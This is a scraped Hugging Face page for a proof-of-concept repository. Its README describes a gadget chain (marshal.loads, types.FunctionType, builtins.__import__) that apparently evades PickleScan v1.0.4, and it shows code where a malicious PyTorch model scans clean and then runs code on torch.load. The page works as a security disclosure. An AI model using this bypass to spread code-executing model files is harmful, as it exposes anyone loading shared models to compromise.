Downloads · 30 days
0
ryansecuritytest-fanpierlabs/picklescan-bypass-marshal-functiontype-poc
picklescan-bypass-marshal-functiontype-poc is a machine learning model from ryansecuritytest-fanpierlabs. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
PickleScan v1.0.4 fails to detect a gadget chain using: - marshal.loads (not in blocklist) - types.FunctionType (only types.CodeType is blocked) - builtins.import (not in builtins blocklist)
Downloads · 30 days
0
Access
Public
Updated Apr 3, 2026
Repo size
1.2 KB
Likes
0
Public
Click a slice to open those files.
.py3.6 KB · 50%
From the Hugging Face model README
PickleScan v1.0.4 fails to detect a gadget chain using:
marshal.loads (not in blocklist)types.FunctionType (only types.CodeType is blocked)builtins.__import__ (not in builtins blocklist)malicious_model.pt - Malicious PyTorch model that bypasses picklescanpoc_generate_malicious_model.py - Script to generate the malicious model# Scan - shows 0 issues
from picklescan.scanner import scan_pytorch
with open("malicious_model.pt", "rb") as f:
result = scan_pytorch(f, "test.pt")
print(f"issues={result.issues_count}") # 0!
# Load - triggers RCE
import torch
torch.load("malicious_model.pt", weights_only=False)
# Creates /tmp/picklescan_bypass_poc
Malicious model files pass picklescan security scanning while achieving arbitrary code execution when loaded.